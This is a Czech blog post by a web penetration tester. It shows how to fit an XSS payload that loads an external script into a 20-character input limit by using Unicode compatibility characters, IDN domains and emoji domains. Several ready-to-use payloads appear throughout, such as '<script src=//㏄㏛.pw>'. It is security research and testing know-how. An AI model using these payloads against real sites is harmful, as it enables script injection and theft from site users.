23. srpna 2020

Během testování webových aplikací naráží tester na mnoho omezení. Jedno z omezeních, které jsem v poslední době řešil bylo, jak prokázat reálný dopad na uživatele pokud existuje ve webové aplikaci XSS, ale je tam limitace pouze na 20 znaků.

Pojďme si problém trochu více přiblížit…

Ve webové aplikaci je neošetřený uživatelský vstup, pro prokázání zranitelnosti můžeme použít například tento payload:

<svg onload=alert()>

Jak se můžeme dopočítat, tak tento payload má přesně 20 znaků. Super, vešli jsme se do limitu. Má to ale jeden zásadní problém. Chybí tu reálné zneužití! Zobrazením prázdného alertu útočník nic nezíská.

U XSS je obecně nejvhodnější načítat externí js script, aby se exploit nemusel posílat celý. Při limitaci znaků to ani jinak nelze.

Použijeme tedy script tag s tím, že nadefinujeme adresu k externímu souboru

<script src=//xx.xx>

Opět máme přesně 20 znaků, je to sice fajn, kde ale sehnat 2 znakovou nebo 1 znakovou doménu, která bude mít i 2 znakovou koncovku? Buď je taková doména již zabraná nebo je její odkup velice drahý.

Řešení:

  • Unicode ekvivalence
  • IDN doména
  • Emoji doména

Výsledkem bude XSS payload, který bude načítat externí skript a zapsaná url adresa bude mít pouze 3 znaky (počítáno včetně tečky). Možná si říkáte, že je to nemožné, protože koncovka nemůže mít jen 1 znak… no, v samotném zápisu to možné je 🙂

Unicode ekvivalence

V Unicode ekvivalenci některé sekvence kódových bodů představují v podstatě stejný znak. Tato funkce byla zavedena do standardu, aby byla zajištěna kompatibilita s již existujícími standardními znakovými sadami. Unicode poskytuje dva způsoby řešení kanonická a kompatibilní ekvivalence.

Nás bude zajímat kompatibilní ekvivalence, tedy kdy sekvence kódových bodů mají odlišné vzhledy, ale v některých kontextech stejný význam.

Například znak má ekvivalent k ff

Prohlížeče provádějí unicode kompatibilitu s některými znaky, takže několik znaků bude možné nahradit pouze jedním znakem.

<script src=//㏄㏛.pw>

Všimněte si, že a jsou pouze jedním znakem, ale když jej prohlížeč interpretuje, rozbalí se jako dva znaky. Tím se nám zpřístupní větší množství domén, které lze levněji zakoupit.

Příklady některých znaků:
=> ff
=> sr
=> cc
=> wb
=> kt

Také je možné použít znaků čísel:
=> 22
=> 35

Seznam znaků naleznete například zde:

Znaky nemusí být použity jen v doméně, ale také v koncovce.

Výsledný payload by mohl vypadat takto:

<script src=//㊺.₨>

- 45
- Znak pro měnu indické rupie

Internationalized Domain Name (IDN) doména

IDN je technické řešení, které umožňuje v názvech domén používat také národní znaky (např. znaky s diakritikou). V současné době nelze mít IDN u CZ domén, ale některé jiné koncovky to umožňují. (Doména háčkyčárky.cz je jediná CZ doména, která umožňuje zobrazení diakritiky. Je spravována sdružením CZ.NIC)

Příklad koncovek umožňující IDN:
.EU .COM .NET .PL .INFO .ORG .BIZ .DE .CC .PW .WS .AT .HU

IDN doména je vždy v zápisu Punycode, tento tvar je pak převeden na ACE (ASCII Compatible Encoding). Ten již obsahuje pouze ASCII znaky, přičemž je jasné, že se jedná o IDN doménu.

www.xn--hkyrky-ptac70bc.cz se přeloží jako www.háčkyčárky.cz

Ve správně fungujícím prohlížeči byste se měli v obou případech dostat na stejnou stránku.

U IDN domén je opět velké množství volných domén, které lze zaregistrovat. Pro co nejkratší zápis budeme hledat volné domény, kde lze použít jen 1 znak.

Pokud nelze zaregistrovat doménu s národním znakem v názvu, doporučuji to zkusit znovu v zápise Punycode

xn--bea => č
xn--hga => ř

Pro náš payload bude použita doména s IDN názvem a koncovkou s ekvivalentním znakem.

Výsledný XSS payload by mohl vypadat takto:

<script src=//ž.㎺>

=> znak pro picowatt

Emoji doména

Emoji jsou dnes používany téměř všude a použití těchto symbolů v doméně je dnes také možné (https://en.wikipedia.org/wiki/Emoji_domain).

Koncovek umožnující takovou doménu je výrazně méně než u IDN domén, jedná se o tyto koncovky:
.cf, .ga, .gq, .ml, .tk, .st, .fm, .to, .je, .gg, .kz, .com.kz, .org.kz, a .ws.

Při registraci takové domény je opět použito kódování Punycode a použití takové domény je stejné jako u IDN.

U domény ❤🍺.ws dojde k přesměrování na budweiser.com

Pro použití XSS payloadu by se použilo emoji v doméně a koncovkou s ekvivalentním znakem.

Výsledný XSS payload by mohl vypadat takto:

<script src=//🧑.㎖>

🧑 => xn--bv9h
㎖ => znak pro mililitr


Ve všech případech je možné vytvořit XSS payload s načtením externího skriptu při použití 18 znaků. Zbylé 2 znaky můžeme použít třeba pro ukončení předchozího řetězce.
  • Tag <script> je párový, payload je funkční jen v případě, pokud je vložen do části html kódu, ve kterém existuje ukončující tag </script>
  • V určitých případech je možné použít payload bez posledního znaku > tím vznikne payload za použití jen 17 znaků

Testovací prostředí pro krátké XSS:

See the Pen XSS Testing by Test (@dkxa4g6) on CodePen.